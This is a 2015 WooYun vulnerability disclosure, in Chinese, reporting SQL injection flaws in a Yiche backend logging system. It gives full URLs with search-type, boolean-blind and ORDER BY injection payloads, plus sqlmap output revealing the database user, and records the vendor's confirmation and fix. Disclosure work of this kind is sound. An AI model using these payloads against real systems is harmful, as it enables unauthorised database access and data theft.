漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0104490
漏洞标题：易车某系统多处注入打包
相关厂商：易车
漏洞作者： 路人甲
提交时间：2015-03-29 22:10
修复时间：2015-05-14 09:06
公开时间：2015-05-14 09:06
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-03-29： 细节已通知厂商并且等待厂商处理中
2015-03-30： 厂商已经确认，细节仅向厂商公开
2015-04-09： 细节向核心白帽子及相关领域专家公开
2015-04-19： 细节向普通白帽子公开
2015-04-29： 细节向实习白帽子公开
2015-05-14： 细节向公众公开
简要描述：
发现最近好多人提交易车的洞，凑个热闹
详细说明：
问题站点：
http://log.yiqi.autodmp.cig.com.cn/
利用以前收集的账号进去看看，发现一堆注入点：
1、搜索型注入：
http://log.yiqi.autodmp.cig.com.cn/dealers/get_list_bypager?m_pageindex=1&m_pagesize=10&m_provinceid=330000%09%09%09%09%09%09%09%' and '%'='&m_areaid=&m_area2id=&m_keyword=%E4%B8%9C%E9%98%B3%'+and+'%'='&1427551508291
2、布尔盲注:
http://log.yiqi.autodmp.cig.com.cn/lms_api/stat/get_stat_product_list?start_time=20150228%20and%201=1&end_time=20150328 and 1=1&page_size=0&graph_type=table&1427551564107
全站的start_time和end_time都存在注入
3、order by注入:
http://log.yiqi.autodmp.cig.com.cn/lms_api/clue/get_clue_list_bypaper?starttime=1425132344&endtime=1427551544&page_index=1&page_size=20&approach=&channel=&carmodel=&meida=&province=&city=&district=&dealer=&cartype=&state=&activity=&keyword=&sortfield=post_time&sort=desc>ype=1&verify_status=&1427551576702
sortfield=post_time&sort=desc 这两个参数都可以orderby 注入，比如sort=desc,if(1=1,1,(select 1 union select 2))
应该还有很多其他注入点，不一一列举了，自查吧
漏洞证明：
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: m_keyword (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: m_pageindex=1&m_pagesize=10&m_provinceid=330000 &m_areaid=&m_area2id=&m_keyword=%E4%B8%9C%E9%98%B3%%' AND 2230=2230 AND '%'='&1427551508291
---
[22:14:33] [INFO] testing MySQL
[22:14:33] [INFO] confirming MySQL
[22:14:33] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.3.9
back-end DBMS: MySQL >= 5.0.0
[22:14:33] [INFO] fetching current user
[22:14:33] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[22:14:33] [INFO] retrieved: autodmp_dealer@%
current user: 'autodmp_dealer@%'
修复方案：
后台系统也要做好安全防护，不然就是一个内网突破口~
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2015-03-30 09:04
厂商回复：
非常感谢对易车的帮助，我们尽快处理
最新状态：
2015-03-30：已经修复了漏洞，非常感谢对易车的支持